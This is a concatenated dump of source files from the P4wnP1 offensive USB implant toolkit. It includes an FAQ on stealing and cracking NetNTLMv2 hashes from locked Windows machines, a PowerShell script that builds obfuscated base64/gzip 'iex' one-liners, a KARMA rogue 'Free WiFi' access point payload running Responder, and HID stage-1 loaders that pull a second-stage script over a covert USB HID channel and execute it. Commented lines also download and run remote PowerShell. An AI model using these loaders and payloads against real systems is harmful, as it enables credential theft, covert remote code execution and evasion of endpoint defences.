TransportLayer.SIGNAL_TRANSPORTLAYER_CONNECTION_TIMEOUT_LINKLAYER, sender = TransportLayer.TRANSPORTLAYER_SENDER_NAME_UP) 97 | else: 98 | TransportLayer.print_debug("TransportLayer: Unhandled singnal from LinkLayer processed by thread: " + current_thread().getName()) 99 | TransportLayer.print_debug("TransportLayer: signal: " + signal + ", data: " + repr(data[:100])) 100 | 101 | 102 | -------------------------------------------------------------------------------- /FAQ.md: -------------------------------------------------------------------------------- 1 | # FAQ 2 | 3 | ## General questions 4 | 5 | ### Does this run on a Pi Zero (non WiFi)? 6 | Most of the payloads do, but not the HID backdoor (if you'd enable USB networking for this payload, it would be possible to connect to the backdoor shell, but 127.0.0.1 attacks are out of scope for this project). 7 | An example for a more sophisticated payload running without WiFi is the "HID frontdoor": [video link](https://www.youtube.com/watch?v=MI8DFlKLHBk) 8 | 9 | 10 | ### How to connect P4wnP1 to Internet, once installed ? 11 | 12 | #### Method 1 13 | Here's a little tutorial video, showing the steps on Windows 10. Requirement: `network-only.txt`payload has to be running. 14 | 15 | [video link](https://youtu.be/QEWaIoal5qU) 16 | 17 | #### Method 2 18 | Edit the variables that start with "WIFI_CLIENT" to match the credentials with an existing accesspoint with ethernet connectivity and set WIFI_CLIENT to true. 19 | P4wnP1 will connect to this accesspoint instead of starting one. 20 | 21 | ### Does this run on other ARM devices? 22 | P4wnP1 uses several features specific to raspbian. Among others: 23 | - the RNDIS ratepatch is specific to the raspbian RNDIS kernel module 24 | - the LED interaction is based on raspbian FS interface 25 | - USB OTG detection is based on raspbian DEBUG FS integration 26 | - the USB gadget stack is only tested against the UDC of the raspberry 27 | 28 | But everyone is free to port this to other devices. 29 | 30 | ### Should I change passwords? 31 | Sure... and don't forget the WiFi password ;-) 32 | 33 | ### The setup isn't easy, will there be a prebuilt image? 34 | No. But I'm going to rework `INSTALL.md` to give some guidance on how to get the Pi Zero ready. 35 | 36 | ### What's the purpose of "John the Ripper (JtR)" and "Responder.py" 37 | The package came from an idea in early development stage. There's an attack mentioned in the README, which allows you to steal NetNTLMv2 hashes from locked Windows boxes (Rob ‘MUBIX’ Fuller: “Snagging creds from locked machines”). This was in fact the first payload that was implemented on P4wnP1 (Rsponder.py is there for the same reason, as it is needed to carry out the attack). The plan was to develop a "LOCKPICKER" for Windows hosts with weak credentials, which would do the following: 38 | 1. Steal the NetNTLMv2 hash with the 'Mubix' approach 39 | 2. Fetch the hash from Responder.db and hand it over to John the Ripper 40 | 3. Try to crack the hash until either P4wnP1 is shutdown or the John the Ripper reports a SUCCESS. 41 | 4. On SUCESS, use the HID keyboard to type out the plaintext password and unlock the machine. 42 | 43 | So if you ask, "Where is the lock picker?" ... It has never been finished, for multiple reasons. 44 | - The chance for the "Snagging creds attack" to succeed is very low, since Microsoft patched the issue. 45 | - The third party application I found vulnerable to this was patched, too (see `README.md` for reference). 46 | - Implementing the lock picker isn't a real challenge and there's a whole lot of other work to do on P4wnP1. So feel free to contribute. 47 | 48 | Anyway, both tools could come in handy on various payloads (even ones I couldn't even imagine today). The JtR, which could be fetched from the raspbian repo with `apt-get install john`, isn't really feature rich. It only supports a basic set of hash types. The package included in P4wnP1 is the JtR Jumbo version, which can handle a ton of hash types. It was compiled on the Pi itself. The hash rate for the mentioned NetNTLMv2 hashes on the Pi Zero W is about 100,000 hashes per second. This means if you have a dictionary with 100,000 passwords and your victim chooses one of them, cracking would take a second, max. 49 | The Responder.py version is a slightly modified one, allowing it to respond to probe requests of Microsoft Windows to check its "online status" in such a manner, that the system believes it has Internet access. This could come in handy in several network attacks. 50 | 51 | ## HID backdoor payload 52 | 53 | ### What's the difference between this and an ordinary BadUSB? 54 | 55 | That is a really good question. Karsten Nohl was the first using the term "BadUSB". What he described (or showed) was that ordinary commercial USB devices could be reprogrammed to make them act differently. Thus it was possible to mod a normal USB flash drive (with PHISON controller) into an USB keyboard, running keyboard attacks. But the concept wasn't all about keyboards. In fact one could reprogram a vulnerable USB device to be anything, as long as it is defined in the USB specs (and one is able to reverse and modify a firmware based on an Intel 8051 derivate). 56 | So the more precise question should be: "What's the difference between this and an ordinary RubberDucky attack?" 57 | 58 | ### What's the difference between this and an ordinary RubberDucky attack? 59 | The backdoor payload does the same as a RubberDucky attack. The difference is that you can launch keyboard attacks from a WiFi based custom SSH shell on demand. The target sees only two HID devices, no other USB hardware. 60 | From the moment you use the `FireStage1` command things change a bit: 61 | As stated there are two HID devices. The first one is a HID keyboard (used to carry out the keyboard attacks). The second HID device is a GENERIC HID device. The `FireStage1` command uses the keyboard device, to type out code building up a sort of protocol stack. This protocol stack is used to communicate with P4wnP1 via the second HID device. 62 | 63 | To be more precise: 64 | The shell that spawns using the `shell` command doesn't use a network connection, a serial port or any other communication device. It is based on a pure Human Interface Device. Now try to explain to your firewall to block this communication channel (this isn't socket based). Or try to explain to your endpoint protection to block USB HID devices and say goodbye to all kinds of controllers using this standard. I guess the difference becomes clear! 65 | So to carry out pure keyboard attacks, this kind of "covert channel" isn't needed, you can run them as soon as you SSH into P4wnP1s backdoor interface. But once the covert channel is up after issuing `FireStage1` there should be no need to run further keyboard attacks, as long as you know what you're doing. The input to the shell (and other spawned processes) is tunnelled through the HID channel. 66 | 67 | ### Where is the code for the client side payload? 68 | Here: https://github.com/mame82/P4wnP1_HID_backdoor_client 69 | 70 | -------------------------------------------------------------------------------- /hidtools/converter3.ps1: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | $infile = "stage1_no_pid_vid.ps1" 21 | $RemoveComments = $true 22 | $script=$null 23 | 24 | if ($RemoveComments) 25 | { 26 | # PS 3.0 needed 27 | #Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/ScriptModification/Remove-Comments.ps1 | iex 28 | # PS 2.0 way 29 | #(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/ScriptModification/Remove-Comments.ps1') | iex 30 | Get-Content Remove-Comments.ps1 | Out-String | iex 31 | $script = (Remove-Comments $infile).ToString() 32 | 33 | $len = (Get-Content $infile | Out-String).Length 34 | "Raw script length $len" 35 | } 36 | else 37 | { 38 | #convert readen multiline array to single string with Out-String 39 | $script=Get-Content $infile | Out-String 40 | } 41 | 42 | 43 | $len = $script.Length 44 | "Script length with comments stripped $len" 45 | 46 | # $script to byte[] 47 | $scriptbytes = [System.Text.Encoding]::ASCII.GetBytes($script) 48 | 49 | 50 | 51 | # compress 52 | #$zipos = [System.IO.MemoryStream]::new() # no public constructor on old NET framework ?? 53 | $zipos = New-Object System.IO.MemoryStream 54 | #$zipstream = [System.IO.Compression.GZipStream]::new($zipos, [System.IO.Compression.CompressionMode]::Compress) 55 | $zipstream = New-Object System.IO.Compression.GZipStream -ArgumentList ($zipos, [System.IO.Compression.CompressionMode]::Compress) 56 | $zipstream.Write($scriptbytes, 0, $scriptbytes.Length) 57 | $zipstream.Close() 58 | 59 | # Readback zipped data 60 | $zippedbytes = $zipos.ToArray() 61 | 62 | $lenzipped = $zippedbytes.Length 63 | "Script length zipped $lenzipped" 64 | 65 | 66 | # convert to base64 67 | $scriptb64 = [System.Convert]::ToBase64String($zippedbytes) 68 | $lenb64 = $scriptb64.Length 69 | "Zipped script length base64 $lenb64" 70 | #$scriptb64 71 | 72 | $scriptb64 | Out-File base64.ps1 73 | 74 | # decompress 75 | #$ms = [System.IO.MemoryStream]::new([System.Convert]::FromBase64String($scriptb64)) 76 | $ms = New-Object System.IO.MemoryStream -ArgumentList @(,[System.Convert]::FromBase64String($scriptb64)) 77 | $decompressed = (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd() 78 | $lendec = $decompressed.Length 79 | "Script length decompresses $lendec" 80 | #$decompressed 81 | 82 | # long invoke of base64 gzip string 83 | $b="$scriptb64"; (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream((New-Object System.IO.MemoryStream -ArgumentList @(,[System.Convert]::FromBase64String($b))), [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd() | iex 84 | 85 | # shortened invoke (create alias for new-object "no", force to overwrite existing alias) 86 | $b="$scriptb64";nal no New-Object -F;(no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -ArgumentList @(,[Convert]::FromBase64String($b))), [IO.Compression.CompressionMode]::Decompress))).ReadToEnd()|iex 87 | $b="$scriptb64";nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -ArgumentList @(,[Convert]::FromBase64String($b))), [IO.Compression.CompressionMode]::Decompress))).ReadToEnd() 88 | 89 | # the base 64 string has to be ins single quotes for command line usage; USB_VID are packed to output 90 | $USB_VID="1D6B";$USB_PID="0137";$b='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';nal no New-Object -F;iex (no IO.StreamReader(no IO.Compression.GZipStream((no IO.MemoryStream -A @(,[Convert]::FromBase64String($b))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() 91 | 92 | 93 | 94 | 95 | 96 | -------------------------------------------------------------------------------- /payloads/nexmon/karma.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # Experimental rogue AP payload: using new KARMA modified nexmon firmware to Spawn Open APs 21 | # ================================================================================================= 22 | # 23 | # Author: MaMe82 24 | # 25 | # The payload brings an OPEN karma enabled rogue Access Point (using a modified nexmon firmware). 26 | # 27 | # For now the payload doesn't use upstream internet, thus a default Responder session is 28 | # running on the WiFi interface (logs at $wdir/Responder/logs) for testing purposes. 29 | # A DHCP is up (dnsmasq), but not handing out a gateway / DNS. Anyway, this should allow clients 30 | # to connect. 31 | # 32 | # Although this is a test payload, there're options to get Internet upstream. Extending 33 | # the payload accordingly is left to the user. 34 | # Example for upstream: 35 | # If RNDIS/CDC ECM is in use on an Internet connected host, this would be a possible 36 | # upstream. 37 | # F.e. a route could be added to P4wnP1 with `sudo route add -net default gw 172.16.0.2` 38 | # and a valid nameserver added to `/etc/resolv.conf` (8.8.8.8 by default). 39 | # On the host end, NAT / MASQUERADING or ICS should be enabled for the USB Internet 40 | # Interface. 41 | # On P4wnP1's end the WiFi DHCP has to be reconfigured to hand out a router option 42 | # (currently commented out in /tmp/dnsmasq_wifi.conf), routing has to be enabled 43 | # (sudo /bin/bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward') and MASQUERADING enabled 44 | # on the new upstream (sudo iptables -t nat -A POSTROUTING -o $actie_interface -j MASQUERADE, 45 | # where $active_interface is substituted by the active USB interface usb0/usb1, when used 46 | # in the respective payload callbacks). Last but not least, responder should be disabled, 47 | # in order to avoid intefering with a real upstream. 48 | # 49 | # 50 | # As the spawned WiFi is OPEN and somehow "evil", P4wnP1 should be accessed via USB over Ethernet 51 | # when attached to a host. 52 | # Additionally P4wnP1 is accessible via Bluetooth NAP, which allows to run the payload headless 53 | # (only with power supply, no USB host). 54 | # 55 | # hostapd output is logged to /tmp/hostapd.log 56 | # 57 | # Creds to: Dominic White (singe), Ian de Villiers, Rogan Dawes ... Sensepost 58 | # --------- Laurent Gaffie (lgandx) 59 | # Matthias Schulz, Danie Wegemer + latest nexmon contributors ;-) 60 | 61 | 62 | # ============================= 63 | # General setup 64 | # ============================= 65 | 66 | # every option left out defaults to the valur from setup.cfg 67 | 68 | USB_VID="0x1D6B" # Vendor ID 69 | USB_PID="0x0237" # Product ID (reuse from network-only, as USB host sees the same device interfaces) 70 | 71 | USE_ECM=true # enable ECM in case the AP should be used with upstream over this channel 72 | USE_RNDIS=true # enable RNDIS in case the AP should be used with upstream over this channel 73 | USE_HID=false # no keyboard 74 | USE_RAWHID=false # no raw HID 75 | USE_UMS=false # no USB Mass Storage 76 | 77 | ROUTE_SPOOF=false # no route spoofing, as this referes to ECM/RNDIS 78 | WPAD_ENTRY=false # no WPAD over DHCP, as this referes to ECM/RNDIS 79 | 80 | 81 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP) 82 | 83 | WIFI_REG=US 84 | WIFI_ACCESSPOINT=true 85 | WIFI_ACCESSPOINT_CHANNEL=6 86 | WIFI_ACCESSPOINT_NAME="Free WiFi" 87 | WIFI_ACCESSPOINT_AUTH=false # we use an OPEN AP, otherwise the Karma attack wouldn't make too much sense 88 | WIFI_ACCESSPOINT_PSK="placeholder" # not used, because we disabled WPA2 PSK auth 89 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 90 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 91 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 92 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID (haven't even tested this for KARMA attack) 93 | 94 | WIFI_NEXMON=true # use modified nexmon firmware, to allow an additional monitor interface 95 | WIFI_NEXMON_BRING_UP_MONITOR_FIRST=true # we force monitor interface creation before starting hostapd 96 | 97 | 98 | WIFI_ACCESSPOINT_KARMA=true # enables Karma attack with modified nexmon firmware 99 | WIFI_ACCESSPOINT_KARMA_LOUD=0 # NO EFFECT IN CURRENT FIRMWARE; Send back corresponding beacons only to clients which have sent a probe request (no broadcast of beacons) 100 | 101 | 102 | AUTOSSH_ENABLED=false # disable AutoSSH reachback, we have no upstream by default 103 | 104 | function startResponder() 105 | { 106 | # redirect unicast traffic incoming on wlan0 for every destination to responder (cacth packets sent to our huge subnet ;-) ) 107 | WIFI_IF="wlan0" 108 | 109 | iptables -t nat -A PREROUTING -i $WIFI_IF -p tcp -m addrtype ! --dst-type MULTICAST,BROADCAST,LOCAL -j REDIRECT 110 | iptables -t nat -A PREROUTING -i $WIFI_IF -p udp -m addrtype ! --dst-type MULTICAST,BROADCAST,LOCAL -j REDIRECT 111 | 112 | echo "Starting responder..." 113 | 114 | # delete Responder.db 115 | rm $wdir/Responder/Responder.db 116 | 117 | # start responder in screen session 118 | screen -dmS responder bash -c "cd $wdir/Responder/; python Responder.py -I $WIFI_IF -d -r -w -P" 119 | 120 | touch /tmp/responder_started 121 | 122 | echo "Responder started." 123 | 124 | } 125 | 126 | function onAccessPointUp() 127 | { 128 | # This new callback is triggered when the WiFi the intended SSID is assigned to the WiFi interface (usually when hostapd is up and running) 129 | # Warning !! Not tested against configurations with hidden SSID 130 | # This is called by user root. 131 | 132 | led_blink 4 133 | 134 | startResponder 135 | 136 | led_blink 5 137 | } 138 | -------------------------------------------------------------------------------- /hidtools/frontdoor/stage1_reduced.ps1: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | # P4wnP1 HID Script 21 | $USB_VID="1D6B" 22 | $USB_PID="0137" 23 | 24 | function ReflectCreateFileMethod() 25 | { 26 | $dom = [AppDomain]::CurrentDomain 27 | $da = New-Object Reflection.AssemblyName("MaMe82DynAssembly") 28 | $ab = $dom.DefineDynamicAssembly($da, [Reflection.Emit.AssemblyBuilderAccess]::Run) 29 | $mb = $ab.DefineDynamicModule("MaMe82DynModule", $False) 30 | $tb = $mb.DefineType("MaMe82", "Public, Class") 31 | $cfm = $tb.DefineMethod("CreateFile", [Reflection.MethodAttributes] "Public, Static", [IntPtr], [Type[]] @([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr] )) 32 | $cdi = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 33 | $cfa = [Reflection.FieldInfo[]] @([Runtime.InteropServices.DllImportAttribute].GetField("EntryPoint"), [Runtime.InteropServices.DllImportAttribute].GetField("PreserveSig"), [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError"), [Runtime.InteropServices.DllImportAttribute].GetField("CallingConvention"), [Runtime.InteropServices.DllImportAttribute].GetField("CharSet")) 34 | $cffva = [Object[]] @("CreateFile", $True, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) 35 | $cfca = New-Object Reflection.Emit.CustomAttributeBuilder($cdi, @("kernel32.dll"), $cfa, $cffva) 36 | $cfm.SetCustomAttribute($cfca) 37 | $tb.CreateType() 38 | } 39 | 40 | function CreateFileStreamFromDevicePath($mmcl, [String] $path) 41 | { 42 | # CreateFile method has to be built in [MaMe82]::CreateFile() 43 | # call ReflectCreateFileMethod to achieve this 44 | 45 | # Call CreateFile for given devicepath 46 | # (GENERIC_READ | GENERIC_WRITE) = 0XC0000000 47 | # FILE_FLAG_OVERLAPPED = 0x40000000; 48 | $h = $mmcl::CreateFile($path, [Int32]0XC0000000, [IO.FileAccess]::ReadWrite, [IntPtr]::Zero, [IO.FileMode]::Open, [UInt32]0x40000000, [IntPtr]::Zero) 49 | 50 | # Create SafeFileHandle from file 51 | # Note: [Microsoft.Win32.SafeHandles.SafeFileHandle]::new() isn't accessible on PS 2.0 / NET2.0 52 | # thus we use reflection to construct FileStream 53 | #$shandle = [Microsoft.Win32.SafeHandles.SafeFileHandle]::new($devicefile, [System.Boolean]0) 54 | $a = $h, [Boolean]0 55 | $c=[Microsoft.Win32.SafeHandles.SafeFileHandle].GetConstructors()[0] 56 | $h = $c.Invoke($a) 57 | 58 | # Create filestream from SafeFileHandle 59 | #$Device = [System.IO.FileStream]::new($h, [System.IO.FileAccess]::ReadWrite, [System.UInt32]32, [System.Boolean]1) 60 | # Note: again Reflection has to be used to access the constructor of FileStream 61 | $fa=[IO.FileAccess]::ReadWrite 62 | $a=$h, $fa, [Int32]64, [Boolean]1 63 | $c=[IO.FileStream].GetConstructors()[14] 64 | return $c.Invoke($a) 65 | } 66 | 67 | function send_data($file, $source, $dest, $data, $received) 68 | { 69 | 70 | $i=0 71 | $bytes = New-Object Byte[] (65) 72 | $bytes[$i++] = [byte] 0 73 | $bytes[$i++] = [byte] $source 74 | $bytes[$i++] = [byte] $dest 75 | $bytes[$i++] = [byte] $data.Length 76 | $bytes[$i++] = [byte] $received 77 | 78 | $data.CopyTo($bytes, $i) 79 | 80 | $devfile.Write($bytes, 0, $bytes.Length) 81 | 82 | 83 | } 84 | 85 | 86 | function read_data($file) 87 | { 88 | $r = New-Object Byte[] (65) 89 | $cr = $devfile.Read($r,0,65) 90 | 91 | $i=0 92 | $report_id = $r[$i++] 93 | $src = $r[$i++] 94 | $dst = $r[$i++] 95 | $snd = $r[$i++] 96 | $rcv = $r[$i++] 97 | 98 | 99 | $msg = New-Object Byte[] ($snd) 100 | [Array]::Copy($r, $i, $msg, 0, $snd) 101 | return $src, $dst, $snd, $rcv, $msg 102 | } 103 | 104 | function GetDevicePath($USB_VID, $USB_PID) 105 | { 106 | $HIDGuid="{4d1e55b2-f16f-11cf-88cb-001111000030}" 107 | foreach ($wmidev in gwmi Win32_USBControllerDevice |%{[wmi]($_.Dependent)} ) { 108 | #[System.Console]::WriteLine($wmidev.PNPClass) 109 | if ($wmidev.DeviceID -match ("$USB_VID" + '&PID_' + "$USB_PID") -and $wmidev.DeviceID -match ('HID') -and -not $wmidev.Service) { 110 | $devpath = "\\?\" + $wmidev.PNPDeviceID.Replace('\','#') + "#" + $HIDGuid 111 | } 112 | } 113 | $devpath 114 | } 115 | 116 | ####### 117 | # Init RAW HID device 118 | ######### 119 | 120 | # Use Reflection to create [MaMe82]::CreateFile from kernel32.dll 121 | $mmcl = ReflectCreateFileMethod 122 | 123 | $path= GetDevicePath $USB_VID $USB_PID 124 | # create FileStream to device 125 | $devfile = CreateFileStreamFromDevicePath $mmcl $path 126 | $count = -1 127 | $stage2 = "" 128 | 129 | $empty = New-Object Byte[] (0) 130 | try 131 | { 132 | while ($devfile.SafeFileHandle -ne $null) 133 | { 134 | 135 | send_data $devfile 0 0 $empty 0 136 | $packet = read_data $devfile 137 | if ($packet[0] -ne 0) 138 | { 139 | break # src not 0, no heartbeat (carying stage2) 140 | } 141 | if ($packet[1] -ne 0) 142 | { 143 | break # dst not 0, no heartbeat (carying stage2) 144 | } 145 | $utf8 = [Text.Encoding]::UTF8.GetString($packet[4]) 146 | if ($utf8.StartsWith("end_heartbeat") -and ($count -gt 0)) 147 | { 148 | break 149 | } 150 | if ($utf8.StartsWith("begin_heartbeat")) 151 | { 152 | $count = 0 153 | [Console]::WriteLine("Start receiving stage2") 154 | } 155 | elseif ($count -ge 0) 156 | { 157 | # belongs to stream, assemble 158 | $stage2 += $utf8 159 | $count += 1 160 | [Console]::Write(".") 161 | } 162 | } 163 | [Console]::WriteLine("stage2 reassembled") 164 | iex $stage2 165 | } 166 | finally 167 | { 168 | # end main thread 169 | $devfile.Close() 170 | $devfile.Dispose() 171 | } -------------------------------------------------------------------------------- /hidtools/payload_delivery/stage1_reduced.ps1: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | # P4wnP1 HID Script 21 | $USB_VID="1D6B" 22 | $USB_PID="0137" 23 | 24 | function ReflectCreateFileMethod() 25 | { 26 | $dom = [AppDomain]::CurrentDomain 27 | $da = New-Object Reflection.AssemblyName("MaMe82DynAssembly") 28 | $ab = $dom.DefineDynamicAssembly($da, [Reflection.Emit.AssemblyBuilderAccess]::Run) 29 | $mb = $ab.DefineDynamicModule("MaMe82DynModule", $False) 30 | $tb = $mb.DefineType("MaMe82", "Public, Class") 31 | $cfm = $tb.DefineMethod("CreateFile", [Reflection.MethodAttributes] "Public, Static", [IntPtr], [Type[]] @([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr] )) 32 | $cdi = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) 33 | $cfa = [Reflection.FieldInfo[]] @([Runtime.InteropServices.DllImportAttribute].GetField("EntryPoint"), [Runtime.InteropServices.DllImportAttribute].GetField("PreserveSig"), [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError"), [Runtime.InteropServices.DllImportAttribute].GetField("CallingConvention"), [Runtime.InteropServices.DllImportAttribute].GetField("CharSet")) 34 | $cffva = [Object[]] @("CreateFile", $True, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) 35 | $cfca = New-Object Reflection.Emit.CustomAttributeBuilder($cdi, @("kernel32.dll"), $cfa, $cffva) 36 | $cfm.SetCustomAttribute($cfca) 37 | $tb.CreateType() 38 | } 39 | 40 | function CreateFileStreamFromDevicePath($mmcl, [String] $path) 41 | { 42 | # CreateFile method has to be built in [MaMe82]::CreateFile() 43 | # call ReflectCreateFileMethod to achieve this 44 | 45 | # Call CreateFile for given devicepath 46 | # (GENERIC_READ | GENERIC_WRITE) = 0XC0000000 47 | # FILE_FLAG_OVERLAPPED = 0x40000000; 48 | $h = $mmcl::CreateFile($path, [Int32]0XC0000000, [IO.FileAccess]::ReadWrite, [IntPtr]::Zero, [IO.FileMode]::Open, [UInt32]0x40000000, [IntPtr]::Zero) 49 | 50 | # Create SafeFileHandle from file 51 | # Note: [Microsoft.Win32.SafeHandles.SafeFileHandle]::new() isn't accessible on PS 2.0 / NET2.0 52 | # thus we use reflection to construct FileStream 53 | #$shandle = [Microsoft.Win32.SafeHandles.SafeFileHandle]::new($devicefile, [System.Boolean]0) 54 | $a = $h, [Boolean]0 55 | $c=[Microsoft.Win32.SafeHandles.SafeFileHandle].GetConstructors()[0] 56 | $h = $c.Invoke($a) 57 | 58 | # Create filestream from SafeFileHandle 59 | #$Device = [System.IO.FileStream]::new($h, [System.IO.FileAccess]::ReadWrite, [System.UInt32]32, [System.Boolean]1) 